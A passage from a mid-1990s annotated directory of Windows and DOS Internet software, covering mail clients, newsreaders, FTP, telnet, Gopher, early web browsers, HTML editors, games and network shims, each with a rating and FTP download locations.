ftp://ftp.clarkson.edu/pub/uupc/upc12bw1.zip (Win3 executables, part 1)
ftp://ftp.clarkson.edu/pub/uupc/upc12bw2.zip (Win3 executables, part 2)
ftp://ftp.clarkson.edu/pub/uupc/upc12bw3.zip (Win3 executables, part 3)
ftp://ftp.clarkson.edu/pub/uupc/upc12bn1.zip (NT executables, part 1)
ftp://ftp.clarkson.edu/pub/uupc/upc12bn2.zip (NT executables, part 2)
ftp://ftp.clarkson.edu/pub/uupc/upc12bn3.zip (NT executables, part 3)
ftp://ftp.clarkson.edu/pub/uupc/upc12bs1.zip (Source files, part 1)
ftp://ftp.clarkson.edu/pub/uupc/upc12bs2.zip (Source files, part 2)

Recommendation
PCEudora v1.44 Free

The Windows version of Eudora, compatible with Windows Sockets.
Handles SMTP, POP3, offers BINHEX4 and MIME support. This is the
nicest TCP/IP mail client available anywhere. The lastest version
now runs under Windows NT.

Available at:

ftp://ftp.qualcomm.com/quest/windows...4/eudor144.exe (PC Eudora)
ftp://boombox.micro.umn.edu/pub/pc/binhex/binhex.exe (BINHEX)

Qualcomm, sales: mailto:eudora-sales@qualcomm.com, bug reports:
mailto:pc-eudora-bugs@qualcomm.com, (800)238-3672

Suggestion
Pegasus mail Free

Pegasus supports SMTP/POP3, with DOS and Windows versions. It can be used
as under Novell Netware, or as a TCP/IP mailer. While the software
is free, the author charges for manuals. A discussion group is
available: news:bit.listserv.pmail. Available as:

Pegasus mail is available via:
ftp://oak.oakland.edu/SimTel/win3/mail/winpm122.zip (Windows version),
ftp://pub.vse.cz/pub/msdos/pmail/winpm122.zip
ftp://risc.ua.edu/pub/network/pegasus/winpm122.zip (Windows version),
ftp://risc.ua.edu/pub/network/pegasus/pmail311.zip (DOS version)

Suggestion
SMTP client v1.1 Free

A Windows Sockets-compatible SMTP client that is limited to
send only. Not as functional as PCEudora (which also handles
POP3). Available at:
ftp://sunsite.unc.edu/pub/micro/pc-s...pps/smtp11.zip

Contact: mailto:Todd.Young@StPaul.NCR.COM

Suggestion
RFD Mail
Shareware $29.95 This is an SMTP/POP3 mailer that does not support file enclosures. However, it is ideal for users who receive mail on commercial services such as CompuServe and GEnie, in addition to the Internet, since it can work in each of these cases. Available as: ftp://ftp.std.com/customers/software...il/rfdmail.zip Suggestion WinBiff mail notifier Shareware$10
Students $5 This utility can poll for mail and notify you when it comes in. It works with Waffle, Pegasus Mail, FirstMail, Novell MHS, Mini-Host, FSUUCP, or even Sendmail if you're also running PC-NFS. Available as: ftp://winftp.cica.indiana.edu/pub/pc...l/wnbff20b.zip ftp://ftp.cdrom.com/.5/cica/util/wnbff20b.zip NEWS *Downright speculation xp_slip Free xp_slip is a set of DOS TCP/IP applications by Karl Weis, mailto:khweis@mvmpc9.ciw.uni-karlsruhe.de, designed to automatically retrieve mail and news via an offline reader. Available via: ftp://mvmpc9.ciw.uni-karlsruhe.de/x_slip/ http://mv70.rz.uni-karlsruhe.de/~ig19/ *Recommendation News Xpress v2.1 Freeware This is the best Windows newsreader; it offers built in uudecode/uuencode. Available via: ftp://ftp.hk.super.net/pub/windows/W...ies/nx10b3.zip *Downright speculation TRP Shareware Available via: ftp://ftp.internet-eireann.ie/pub/ie...ock/TRP104.ZIP ftp://ftp.demon.co.uk/pub/ibmpc/winsock/apps/trp/ Johannes Eggers, Tetrix Engineering, 201 Harold's Cross Road, Harold's Cross, Dublin 6W, Ireland; +353-1-4964121, mailto:Johannes@tetrix.internet-eireann.ie Recommendation Windows Trumpet v1.0b WinTrumpet is a Windows-Sockets compatible NNTP client from P. Tattam that supports the Trumpet ABI, packet drivers, Novell Lan Workplace for DOS and WinSock v1.1. It is the nicest shareware NNTP newsreader for Windows Sockets. Available at: ftp://ftp.utas.edu.au/pc/trumpet/wintrump/wt_wsk.zip ftp://biochemistry.cwru.edu/pub/wintrump/wt_wsk.zip (Windows Sockets version), ftp://biochemistry.cwru.edu/pub/wintrump/wtpkt10a.zip, ftp://biochemistry.cwru.edu/pub/wintrump/wtabi10a.zip, ftp://biochemistry.cwru.edu/pub/wintrump/winpkt.com, ftp://biochemistry.cwru.edu/pub/wintrump/wtlwp10a.zip (Lan Workplace for DOS) Downright Speculation WinVN v0.926 A semi-graphical Windows application for reading news which supports NNTP over TCP/IP or serial line connections, and can send mail via SMTP or MAPI. Compatible with Winsock v1.1; a version is also available for Windows NT. Does not support LocalTalk. Current version has been tested with: NetManage's WINSOCK FTP Inc.'s WINSOCK Wollongong's WINSOCK NT's WSOCK32 DEC's Pathworks MS's Lan Man Available at: ftp://ftp.ksc.nasa.gov/pub/win3/winvn/ ftp://winftp.cica.indiana.edu/pub/pc...k/winvn926.zip ftp://ftp.cdrom.com/.5/cica/winsock/winvn926.zip Sam Rushing, email: mailto:rushing@titan.ksc.nasa.gov, mailto:hoggle!hoggle2!rushing@peora.sdc.ccur.com You'll find a bunch of zip files. Be sure to use binary mode. Read the file announce-2.txt first. While you're at it, you might also try out the spellchecker at: ftp://ftp.erinet.com/pub/dmike/wcspell3.zip Downright Speculation DMail This is a mail/news program written in Russia for use by Russians. It supports UUCP-g, either over modem or TCP/IP, SMTP, POP3, and NNTP, as well as drag and drop, uudecode, and sorting of articles by size, date, or subject. Available via: ftp://ftp.cdrom.com/.5/cica/winsock/dmailwin.zip FILE TRANSFER Downright Speculation WinFTP WinFTP is a modified version of WS_FTP, with the mods done by mailto:slahiri@magnus.acs.ohio-state.edu. Since WS_FTP continues to evolve and includes a 32-bit version, and WinFTP has not been updated since January 1994, this program is now out of date. Available via: ftp://ftp.cdrom.com/.5/cica/winsock/winftp.zip ftp://cnuce-arch.cnr.it/pub/msdos/wi...ock/winftp.zip *Recommendation WS-FTP client free This is the most current and featureful graphical FTP implementation, regularly updated by John A. Junod. Available at: ftp://129.29.64.246/pub/msdos/ws_ftp.zip ftp://ftp.usma.edu/pub/msdos/winsock.files/ws_ftp.zip (executable) ftp://ftp.usma.edu/pub/msdos/winsock.files/ws_ftp_s.zip (source code) ftp://ftp.cdrom.com/.5/cica/winsock/ws_ftp32.zip (32 bit version) ftp://sunsite.unc.edu/pub/micro/pc-s...pps/ws_ftp.zip John Junod; mailto:zj8549@trotter.usma.edu; mailto:junodj@gordon-emh2.army.mil NCOIC, Technology Integration Branch, Computer Science School, FT Gordon, GA 30905; (706)791-3245 AV:780-3245 Recommendation Winfsp v1.2 Free A Windows Sockets-compatible implementation of the File Slurping Protocol. I got it working with no problem. Be aware that the Òprotocol searchÓ option can take quite a while; you may have be asking the client to individually test hundreds of ports, at a second per port. Available at: ftp://winftp.cica.indiana.edu/pub/pc...k/winfsp12.zip ftp://ftp.cdrom.com/.5/cica/winsock/winfsp12.zip TELNET Recommendation COMt - The Telnet Modem Shareware,$15.95

This program adds telnet capability to any Windows 3.1
terminal emulator. This is great if you need some special
kind of emulation, such as PC-ANSI or RIP. Available via:
ftp://ftp.std.com/customers/software/rfdmail/comt.zip
ftp://ftp.cdrom.com/.5/cica/winsock/comt.zip

Recommendation
EWAN

This is a Telnet implementation that supports ANSI and VT100
emulation. Allows customized configuration. Available via:
ftp://ftp.lysator.liu.se/pub/msdos/windows/ewan1052.zip
ftp://ftp.cdrom.com/.5/cica/winsock/ewan1052.zip

Suggestion
Trumpet Telnet v0.5

A Windows Sockets compatible Telnet implementation. Available at:
file:/petros.psychol.utas.edu.au/pub/trumpet/trmptel/trmptel.exe

Downright speculation
Windows Telnet beta 3 free

An unsupported Telnet implemenation for Windows. Windows Sockets compatible.
Available at:
ftp://ftp.ncsa.uiuc.edu/PC/Telnet/windows/wintelb3.zip
ftp://ftp.cdrom.com/.5/cica/winsock/wintelb3.zip

Suggestion
Windows TN3270 client v1.7
Shareware $35 A Windows Sockets-compatible TN3270 and Tektronix 4010 client that began as freeware and is now shareware. Available at: ftp://ftp.ccs.queensu.ca/pub/msdos/tcpip/qws3270.zip Suggestion UW Free This is a multi-window terminal emulator, supporting VT52, VT100 and VT200 emulation. It is therefore similar to MacLayers. Available via: ftp://ftphost.cac.washington.edu/pub...k/uwterm_0.97f Suggestion YawTel Free This is a telnet emulator designed to work with Windows Mosaic. Available via: ftp://ftp.cdrom.com/.5/cica/winsock/yawtel02.zip *Recommendation WinQVT/Net v3.989 Shareware$40
Students $20 QVTNet is a Windows v3.1 application that supports FTP client and server (not fully graphical; commands are entered at the bottom of the window), telnet (up to 15 simultaneous sessions), mail (SMTP and POP3), NNTP (up to 30 newsgroups) and lpr. It is written as a DLL, and comes in several versions: a Windows Sockets-compatible version (recommended); a 32-bit version; and a version with it's own built-in TCP/IP stack. The version with the built-in stack requires that you load PKTINT in DOS before running it, and also requires you to supply your own packet drivers, and is compatible with AppleTalk as well as class 6 SLIP drivers. Note: the 16-bit Winsock version of WinQVT/Net has problems under Windows NT; use the 32-bit version instead. Available at: ftp://biochemistry.bioc.cwru.edu/gop...t/qvtne398.zip (packet driver version with built-in TCP/IP stack), ftp://biochemistry.bioc.cwru.edu/gop...t/qvtnt398.zip (Windows NT version), ftp://biochemistry.bioc.cwru.edu/gop...t/qvtws398.zip (Windows Sockets version). Contact: mailto:djpk@troi.cc.rochester.edu WAIS Downright Speculation USGS WAIS Client A Windows WAIS client, available at: ftp://ridgisd.er.usgs.gov/software/wais/wwais24.zip. *Downright Speculation WAIS Manager A Windows WAIS client, now compatible with Windows Sockets, available at: ftp://ftp.cnidr.org/pub/NIDR.tools/w...s/waisman3.zip ftp://ftp.cnidr.org/pub/NIDR.tools/w...s/uncwais5.zip Jim Fullton, UNC Office of Information Technology, Computing Systems Development Group, (919)962-9107; email: mailto:fullton@samba.oit.unc.edu. Recommendation EINet winWAIS v2.04 Shareware,$35

The most mature Windows WAIS client, Windows Sockets-compatible. Available at:
ftp://ftp.einet.net/einet/pc/EWAIS204.ZIP or
ftp://winftp.cica.indiana.edu/pub/pc...k/ewais204.zip
ftp://ftp.cdrom.com/.5/cica/winsock/ewais204.zip

EINet Windows Shareware, MCC, 3500 West Balcones Center Drive,
Austin, TX 78759-6509

GOPHER

Recommendation
HGopher v2.4 Free

This is a Windows-sockets compatible version of Gopher, that is
now the property of FTP Software, Inc. Looks good.
Be sure to get the viewers, too. Available at:
ftp://ftp.cdrom.com/.5/cica/winsock/hgoph24.zip

Recommendation
InterGopher Demo

A demo Gopher client from Intercon. Available at:
ftp://ftp.intercon.com/InterCon/sale...ks/igopher.exe

Recommendation
WSGopher v1.1 Free

The best Gopher+ client for Windows. Available at:
ftp://dewey.tis.inel.gov/pub/wsgopher/wsg-11.exe
ftp://boombox.micro.umn.edu/pub//gop...ows/wsg-11.exe

Suggestion
BCGopher

This is a Gopher+ implementation that supports HTML and MIME.
Note that this site does not use anonymous FTP; rather you must login as guest.
Available via:
ftp://ftp.demon.co.uk/pub/ibmpc/wins...r/bcgopher.zip

Recommendation
PNL InfoBrowser

This is the best of the 16-bit Gopher+ implementations. Includes a waft of new
features not available in any other Gopher implementation. Impressive!
Available via:
ftp://ftp.pnl.gov/pub/pnlinfo/win/ib105.exe

WEB BROWSERS

Recommendation
WinWeb Free

Another publicly distributable Web client, created
by the EINet subsidiary of MCC.

Available at:
ftp://ftp.einet.net/einet/pc/winweb.zip

*Recommendation
Netscape v1.0 Free

Although it could use some improvements in the speed area,
and it has its share of bugs, Netscape is now recognized as
the preeminent Web browser. The interface is clean, it includes
buttons linking to some excellent Web pages at mcom.com, it supports
proxy servers, mailto: URLs, and best of all, a newsreader
that completely outclasses the competition. For example,
Biggest complaint: no direct support for WAIS URLs (no PC
Web browser supports this, only XMosaic does).
Second biggest complaint: Mozilla is the ugliest mascot
since Spuds MacKenzie. The current release is a 16-bit
application.

Available via:
ftp://ftp.mcom.com/netscape/ (Primary archive for v1.0)
ftp://ftp.digital.com/pub/net/infosys/Mosaic-Comm/
ftp://lark.cc.ukans.edu/Netscape/
ftp://ftp.meer.net/pub/Netscape/
ftp://src.doc.ic.ac.uk/packages/Netscape/
ftp://unix.hensa.ac.uk/pub/mosaic.comm.corp/
ftp://archie.au/pub/misc/netscape/
ftp://ftp.cica.indiana.edu/pub/pc/win3/winsock/ (PC only)
ftp://mac.archive.umich.edu/mac/util/network/ (Mac only)

Suggestion
Internetworks Lite

This is a demo version of a commercial program called
Internetworks, which is available on CD-ROM along with
an electronic copy of The Internet Yellow Pages (not
the Harley Hahn version, the other one).
Its major distinguishing features are support of OLE v2.0,
This is a 16-bit application, available via:

*Recommendation
Windows Mosaic v2.0a9 free

In my opinion, the release of Netscape has rendered Mosaic
(as well as its commercial cousins, Spyglass Mosaic and
AIR Mosaic) obsolete. However, it still may be of
historical interest for some.

The Internet's Swiss army knife: supports hypertext links,
font styles, embedded pictures, sounds, and movies. An amazing
application. Compatible with Windows Sockets. Version 2.0
supports forms, clickable regions within pictures. To use this
to read local documents without a TCP/IP stack installed, you

Please note: Since Mosaic is now a 32-bit app,
unless you are running Windows NT, or Windows 95 you must install
Win32s (available from ftp.microsoft.com) in order to run Mosaic. Also,
make sure you get the viewers for sounds, JPEG, and MPEG.
Available at:
ftp://ftp.ncsa.uiuc.edu/PC/Mosaic/wmos20a9.zip (32-bit version)
ftp://ftp.ncsa.uiuc.edu/PC/Mosaic/win32s.zip,
ftp://ftp.ncsa.uiuc.edu/PC/Mosaic/nullsock.zip (Null Winsock)

GIF viewer:
ftp://lister.cc.ic.ac.uk/pub/wingoph...e/wingif14.zip
ftp://lister.cc.ic.ac.uk/pub/wingoph...s/image/gv.zip

JPEG viewer:
ftp://ftp.ncsa.uiuc.edu/PC/Mosaic/viewers/lview31.zip
ftp://lister.cc.ic.ac.uk/pub/wingoph...ge/lview31.zip
ftp://lister.cc.ic.ac.uk/pub/wingoph...e/jview090.zip

MPEG viewer:
ftp://biochemistry.cwru.edu/pub/dos/mpeg2.zip
ftp://lister.cc.ic.ac.uk/pub/wingoph...vies/mpeg2.zip
ftp://decel.ecel.uwa.edu.au/users/michael/mpegw32h.zip (32-bit player,
$25 shareware) Windows Quicktime: ftp://lister.cc.ic.ac.uk/pub/wingoph...es/qtwplay.zip Sound player: ftp://lister.cc.ic.ac.uk/pub/wingoph.../wnplny09b.zip *Suggestion Cello WWW client v1.01 Free Cello has not kept up with some of the latest features, such as Mosaic authentication. But it is generally stable. The current version supports Windows Sockets, and can be run under Windows NT. Available at: ftp://ftp fatty.law.cornell.edu/pub/LII/Cello/cello.zip, ftp://ftp fatty.law.cornell.edu/pub/LII/Cello/viewers.zip, the graphics viewer and sound player; ftp://ftp fatty.law.cornell.edu/pub/LII/Cello/gswin.zip, a Ghostscript Postscript viewer for Windows. Suggestion SetMos v1.2 free A setup utility for Windows Mosaic by Rod Potter. Available via: ftp://ftp.cdrom.com/.5/cica/winsock/smosaic.zip ftp://winftp.cica.indiana.edu/pub/pc...ck/smosaic.zip *Downright speculation Miscellaneous HTML editing tools: ftp://ftp.ncsa.uiuc.edu/Web/html/Windows/hypedit.zip ftp://ftp.ncsa.uiuc.edu/Web/html/Windows/gt_html.zip ftp://ftp.ncsa.uiuc.edu/Web/html/Windows/ant_html.zip http://www.utirc.utoronto.ca/HTMLdocs/pc_tools.html http://werple.mira.net.au/%7Egabriel/web/html/editors/ ftp://ftp.cray.com/src/WWWstuff/RTF/latest/binaries HTML docs: ftp://ftp.ncsa.uiuc.edu/Web/html/Windows/htmldocs.zip Downright speculation HTML Editor Another HTML editor. ftp://ftp.ncsa.uiuc.edu/Web/html/Windows/htmed09a.zip Downright speculation HTML Assistant Free This an MS Windows-compatible text editor for use in creation of HTML documents. It supports multiple documents. Available at: ftp://ftp.cs.dal.ca/htmlasst/htmlasst.zip, ftp://ftp.cs.dal.ca/htmlasst/vbrun300.zip, ftp://ftp.cs.dal.ca/htmlasst/readme.1st Downright speculation HTMTools Free This program is a DLL that allows you to go directly from MS Word for Windows v2.0 to HTML. Written by Jorma Hartikka, mailto:Jorma.Hartikka@csc.fi. Available as: ftp://ftp.funet.fi/pub/msdos/windows...d/htmtl050.zip Downright speculation Word Macros for HTML free This adds a toolbar to MS Word for Windows that supports adding links, inline images, etc. Available via: ftp://ftp.ncsa.uiuc.edu/Web/html/Windows/cu_html.zip ftp://ftp.cuhk.hk/pub/www/windows/util/cu_html.zip Downright speculation HTMLWriter Free HTML Writer is another tool for producing HTML documents. It is available via ftp://ftp.byu.edu/tmp/htmlwrit.zip. Downright speculation HoTMetaL Free HoTMetaL a freeware version of what is perhaps the best HTML authoring tool for Windows, HoTMetaL Pro. This version will not view images, but it will produce legal HTML. It is available via: ftp://ftp.ncsa.uiuc.edu/Web/html/hotmetal/Windows ftp://ftp.ncsa.uiuc.edu/Web/html/Windows MULTIMEDIA Recommendation NCSA Audible Collage This is a whiteboard program from NCSA that is also implemented on the Mac and UNIX. Available as: ftp://winftp.cica.indiana.edu/pub/pc...k/col_12b1.zip ftp://ftp.cdrom.com/.5/cica/winsock/col_12b1.zip Recommendation CU-SeeMe free This application allows you to view live 4-bit grayscale video from other participants in a 160x120 window. It does not support sound. Available via: ftp://gated.cornell.edu/pub/video/ ftp://gated.cornell.edu/pub/video/CU-SeeMe.FAQ.7-6.txt *Downright Speculation Internet Voice Chat v1.1 Shareware$20

This is a program by Richard Ahrens that allows voice conversations over
the Internet. It even supports an answering machine and call screening!
Requires WinSock 1.1, a sound card with microphone, and 386 or better.
Available at:
ftp://ftp.cdrom.com/.5/cica/winsock/ivc11.zip
ftp://www.unb.ca/pub/winsock/ivc11.zip
ftp://ftp.demon.co.uk/pub/ibmpc/wins.../ivc/ivc11.zip

Richard L. Ahrens, 7 Omega Ct., Middletown, NJ 07748 USA;
finger ahrens26@futures.wharton.upenn.edu for status info

Downright speculation
Mr. Squiggle Free

This a Windows-Sockets compatible whiteboard application
that allows two people to share the same drawing window
over the Internet. It was implemented in Visual Basic V3,
and uses Brian Syme's VBWSK Visual Basic Winsock control.
Available at:
ftp://commsun.its.csiro.au/csiro/win.../squiggle.zip,
ftp://commsun.its.csiro.au/csiro/win...e/squiggle.doc

MUDS & GAMES

*Recommendation
iDOOM v1.1

This is the technical advance you've all been waiting for, and which
DOOM over the Internet!

iDOOM is a TCP/IP network driver for DOOM (just as IPXSETUP works for
for IPX nets and SERSETUP works for serial connections).

Available from:
ftp://mrcnext.cso.uiuc.edu/asre/idoom11.zip

Suggestion
MUD Man
Shareware $9, US,$15 non-US

A MUD client. Available as:
ftp://wuarchive.wustl.edu/pub/MSDOS_...mes/mudman.zip

Suggestion
MUDManager
Shareware

A 32-bit MUD client requiring 8 Mb RAM, and 5 Mb or disk space.
Available as:
ftp://caisr2.caisr.cwru.edu/pub/mud/...s/mudmgr01.exe

Suggestion
MUDWin

A Windows MUD implementation by Sam Denton. Available as:
ftp://ftp.std.com/pub/sdenton/mudwin.zip

Suggestion
Windows Chess

Play Chess over the Internet. Available as:
ftp://ftp.cdrom.com/.5/cica/winsock/wschesb1.zip
ftp://ftp.cica.indiana.edu/pub/pc/wi...k/wschesb1.zip

*Suggestion
First International Backgammon Server for Windows (FIBS/W) v1.21
Shareware $40 Available via: ftp://ftp.cica.indiana.edu/pub/pc/wi...s/fibsw121.zip *Suggestion Go client Shareware$5

Available via:
ftp://disabuse.demon.co.uk/pub/ibmpc...go/wigc1_3.zip

TALKING

Downright speculation
WinTalk v1.21 Free

A Windows Sockets-compatible implementation of Ntalk and Talk. Available at:
ftp://elf.com/pub/wintalk/wtalk121.zip
ftp://ftp.cdrom.com/.5/cica/winsock/wtalk121.zip

Recommendation
Windows IRC

This is a Windows IRC client, available as:
ftp://ftp-ns.rutgers.edu/pub/msdos/t...rc/winirc.exe,
ftp://ftp-ns.rutgers.edu/pub/msdos/t...irc/winirc.doc

Downright Speculation
WS-IRC
Shareware $39.95 Students$24.95
Site license: $449.95 A really nice shareware Windows IRC client that supports most IRCII commands except for DCC and CTCP. Available as: ftp://ftp.cdrom.com/.5/cica/winsock/wsirc14b.zip Also available on ftp://cs.bu.edu/irc/clients/pc/windows/wsirc14b.zip, ftp://winftp.cica.indiana.edu/pub/pc/win3/winsock/ ftp://ftp.undernet.org/, ftp://ftp.demon.co.uk/ Downright Speculation IRCIIWIN Shareware,$50
Site license: $450 This is another IRC implementation for Windows. Available via: ftp://winftp.cica.indiana.edu/pub/pc/win3/winsock/ DIRECTORIES Recommendation WS-Finger Free A Windows Sockets compatible finger implementation. Available at: ftp://sparky.umd.edu/pub/winsock/wsfngr11.zip Recommendation Finger v3.1 Free The Windows version of Finger, which requires a Winsock DLL. It works; try it out. Available at: ftp://winftp.cica.indiana.edu/pub/pc...k/finger31.zip ftp://ftp.cdrom.com/.5/cica/winsock/finger31.zip Downright speculation PhWin v2.2 Free Windows implementation of Phby Graeme Campbell. Available at: ftp://ftp.cdrom.com/.5/cica/winsock/phwin22.zip Downright speculation IRL CSO/Phones Client Free This is implemented in both 16-bit and 32-bit versions, for those running Win32s, NT, or Windows 95. Available via: ftp://auck.irl.cri.nz/pub/phone/irlphwin.zip, ftp://auck.irl.cri.nz/pub/phone/irlph23.zip Recommendation WS-Archie A windows sockets compatible Archie implementation by David Woakes. Looks very good; runs fine under Windows NT. ftp://ftp.demon.co.uk/pub/ibmpc/wins...e/wsarch06.zip Suggestion WinWhois This a 16-bit implementations of the Whois protocol. Available via: ftp://bitsy.mit.edu/pub/dos/potluck/...k/winwhois.zip Suggestion WinWhois32 This a 32-bit implementations of the Whois protocol. Available via: ftp://winftp.cica.indiana.edu/pub/pc...ck/whois32.zip ftp://ftp.cdrom.com/.5/cica/winsock/whois32.zip Suggestion X.500 implementation A windows sockets compatible X.500 implementation: ftp://ftp.sunet.se/pub/x500/windows-dua/pixie22b.zip Suggestion Windows Directory User Agent This is another X.500 client with both 16-bit and 32-bit versions. Available via: ftp://naic.nasa.gov/software/windows-dua/wduainst.exe Suggestion SWIX X.500 implementation A windows sockets compatible X.500 implementation: ftp://ftp.umu.se/pub/pc/swix/swix20.exe PRINTING Downright Speculation WLPRSPL v4.0 Shareware This is a windows sockets-compatible lpr implementation that offers support for multiple queues. Be aware that LPQ doesn't run with LAN Workplace for DOS, since it doesn't fully implement Windows Sockets. It also runs with wslpd's new "raw spooler," provided that you get lpd up and running prior to printing, since it will timeout quickly. Also, remember to name the spool files correctly and once you set the default spool directory, don't specify a full path in defining a spool file. Contact: mailto:th.heil@kfa-juelich.de Available as: ftp://sunsite.unc.edu/pub/micro/pc-s.../wlprsp40.zip. Recommendation WinLPR v1.0 Shareware This is an implementation of lpr, lpq, and lprm that allows you to print to a machine running lpd. It works fine for me. Contact: mailto:th.heil@kfa-juelich.de. Available at: ftp://sunsite.unc.edu/pub/micro/pc-s...s/winlpr10.zip DNS Suggestion Hlook This is a forward and reverse lookup tool that gives you the DNS name from an IP address, and the reverse. Available as: ftp://petros.psychol.utas.edu.au/pub...oads/iwork.zip Suggestion WS Host This is a forward and reverse lookup tool that gives you the DNS name from an IP address, and the reverse. Available as: ftp://winftp.cica.indiana.edu/pub/pc...k/wshost11.zip ftp://ftp.cdrom.com/.5/cica/winsock/wshost11.zip Suggestion NSLookup Free This is perhaps the best of the Windows NSlookup clients. Available via: ftp://winftp.cica.indiana.edu/pub/pc...k/nslookup.zip ftp://ftp.cdrom.com/.5/cica/winsock/nslookup.zip Suggestion Wormhole Free Another DNS implementation for Windows. Available via: ftp://winftp.cica.indiana.edu/pub/pc...k/wormhole.exe ftp://ftp.cdrom.com/.5/cica/winsock/wormhole.exe TIME SYNCHRONIZATION Downright speculation WinTimeSync Free A Windows Sockets-compatible implementation of the UNIX time service (port 37). Available at: ftp://ftphost.cac.washington.edu/pub...k/tsync1_8.zip ftp://ftp.cdrom.com/.5/cica/winsock/tsync1_8.zip ftp://winftp.cica.indiana.edu/pub/pc...k/tsync1_8.zip Downright speculation Tardis Free A Windows Sockets-compatible implementation of NTP. Available at: ftp://ftp.cdrom.com/.5/cica/winsock/tardis.zip ftp://winftp.cica.indiana.edu/pub/pc...ock/tardis.zip Downright speculation WSNTP Shareware$25

A Windows Sockets-compatible implementation of Network Time Protocol.
Available at:
ftp://ftp.cdrom.com/.5/cica/winsock/wsntp14f.zip
ftp://winftp.cica.indiana.edu/pub/pc...k/wsntp14f.zip

Downright speculation
Windows Time Client Free

A Windows Sockets-compatible implementation of NTP, with source
code. Available at:
ftp://ftp.cdrom.com/.5/cica/winsock/wstim101.zip
ftp://winftp.cica.indiana.edu/pub/pc...k/wstim101.zip

MISCELLANEOUS APPLICATIONS

Downright Speculation
WinIRX free

A Windows Sockets program that makes it easier to search
or retrieve from the National Center for Biotechnology
Information (NCBI) Retrieve Email server. Available via:
ftp://biochemistry.cwru.edu/pub/dos/win-irx.zip,
ftp://biochemistry.cwru.edu/pub/dos/win-irx.txt.

*Suggestion
WSNWDemo

This includes Finger, Ping, and Echo clients as well as an
Echo server. Useful for debugging purposes. Available via:
ftp://winftp.cica.indiana.edu/pub/pc...k/wsnwdemo.zip

*Suggestion
HOP

This is a Windows version of traceroute for Windows NT, which
I suppose is useful since the built-in NT traceroute is a
command-line utility. Available via:
ftp://winftp.cica.indiana.edu/pub/pc/win3/nt/hop.zip

*Downright Speculation
Pasock v1.0

Pasock includes sample Windows Sockets programs for Borland
Pascal, including a finger client and server. Written by
Mike Caughran, mailto:71034.2371@CompuServe.com. Available as:
ftp://oak.oakland.edu/SimTel/win3/winsock/pasock10.zip

APPLICATIONS DEMOS

*Suggestion
Starnet X-Window Server Demo Free

This is a a demonstration version of the Starnet X-server.
The pricing is reasonable and the product is fast.
They have versions that work with Windows Sockets,
packet drivers under DOS, and some other brands under
DOS. It is available at:
ftp://bart.starnet.com/pub/xwin288b.exe
ftp://bart.starnet.com/pub/xwin288b.txt
ftp://bart.starnet.com/pub/xwin_man.ps

ftp://ftp.ipac.net/pub/starnet/pub/xwindemo.zip
ftp://winftp.cica.indiana.edu/pub/pc...o/xwindemo.zip
ftp://polecat.law.indiana.edu/pub/mi...o/xwindemo.zip
ftp://gatekeeper.dec.com/.f/micro/ms...o/xwindemo.zip

The 32-bit version requires Win32s while running under
Windows 3.1 and WFW 3.11. It is available as:
ftp://ftp.ipac.net/pub/starnet/public/xdemo32.zip

Startnet Communications, mailto:support@starnet.com

*Suggestion
ECSmail Commercial

ECSmail is a commercial product supporting IMAP with DOS,
Windows and Mac clients. this is a demo version. Available at:
ftp://info.asu.edu/pub/mail/ecs/ecsm...ows/mua2-3.exe

ISA Corp.; (403)420-8081, fax: (403)420-8037, mailto:ecs-sales@edm.isac.ca

Downright Speculation
Vis-a-Vis
Demo version free

This is the demo version of a collaborative work application that
includes white boards, slides, and video conferencing application.
Available via: ftp://resudox.net/pub/Vis/vis.zip

*Downright Speculation
Internet Global Phone
Demo version free

Available via:
ftp://micros.hensa.ac.uk /mirrors/cica/win3/demo/igp16_102.zip
ftp://micros.hensa.ac.uk /mirrors/cica/win3/demo/igp8_102.zip

SHIMS

Downright speculation
ODITRPKT v2.0

Supports packet drivers over ODI and token ring.
Available as ftp://datacomm.ucc.okstate.edu/pub/oditrpkt/BETA12.ZIP

Recommendation
DIS_PKT free

Provides a packet driver over an NDIS driver. This is useful
when you need to run both packet driver software (such as
KA9Q or NCSA Telnet) and NDIS-based software (such as Chameleon NFS).
The latest version works with WFW v3.11, and includes a help file
WFW.TXT with sample PROTOCOL.INI files, etc.

Available via:
ftp://biochemistry.bioc.cwru.edu/pub...t/dis_pkt9.zip
ftp://netlab.usu.edu/novell.dir/dis_pkt9.zip

Recommendation
NDIS3PKT.386 Free

For all of us who have been wondering whether packet driver software
has a future, this little program by Dan Lanciani
(ddl@harvard.edu), provides the answer - yes!
This is a VxD that provides DOS-box and Windows support of packet
driver applications on top of the NDIS v3.0 interface used by WfW 3.11,
Windows NT, and Windows 95. Previously, it was necessary to run
NDIS v2.0 in order to use DIS_PKT, which prevented WfW from

Suggestion
PDEther v1.03

Supports ODI over packet drivers. Although I haven't had much
success with it, others have used it on thousands of machines
and found it better than ODIPKT, especially under Windows.
Available as:
ftp://sjf-lwp.novell.com/odi/pdether/getpde103.zip

Recommendation
Odipkt v3.0

Supports packet drivers over ODI. This is the recommended
method of getting Novell NetWare to coexist with a packet-driver
based TCP/IP stack. Compatible with WINPKT.

Available as ftp://newdev.harvard.edu/pub/odipkt/odipkt.com,
ftp://newdev.harvard.edu/pub/odipkt/net.cfg,
ftp://newdev.harvard.edu/pub/odipkt/odipkt.8,
ftp://newdev.harvard.edu/pub/odipkt/odipkt.asm.

Suggestion
ODINSUP

This is an NDIS over ODI shim from Novell. This allows you to run
software requiring ODI drivers, as well as software requiring NDIS
drivers. Since IPX and TCP/IP are different protocols, you will not
need to run PKTMUX.

This was available via:
ftp://ftp.novell.com/netwire/novfile...les/WSDOS1.EXE

But it has apparently vanished. Anyone know where it has gone?

TCP/IP AND NETWARE

Downright speculation
BYU Netware shell drivers free

Allows you to build an IPX.COM that runs over packet drivers.
Works by providing .obj and .lan files for the Neware shell
generation program, shgen.exe. Running shgen.exe produces netX.com
as well as an ipx.com for your interface card. Again, I've had
better results with ODIPKT than with this.

Available at:
ftp://vax.ftp.com/pub/packet.driver/pubdom/byu

Downright speculation
Intel PDIPX free

Another way of building an IPX.COM that runs over packet drivers.

Available at:
ftp://ftp sun.soe.clarkson.edu/pub/packet-drivers/intel/pdipx.zip

Suggestion
PDEther v1.03

An ODI over packet driver shim. See entry under Drivers and Shims.

Recommendation
Odipkt v3.0

A packet driver over ODI shim. See entry under Drivers and Shims.

DOS TCP/IP STACKS

Suggestion
WATTCP free

Mike Durkin, Quentin Smart and Murf have updated Erick Engelke's
WATTCP, the development package for TCP/IP. Available via:
ftp://ftp-ns.rutgers.edu/pub/msdos/wattcp/apps.zip (binaries),
ftp://ftp-ns.rutgers.edu/pub/msdos/wattcp/wattcp.zip (source code)
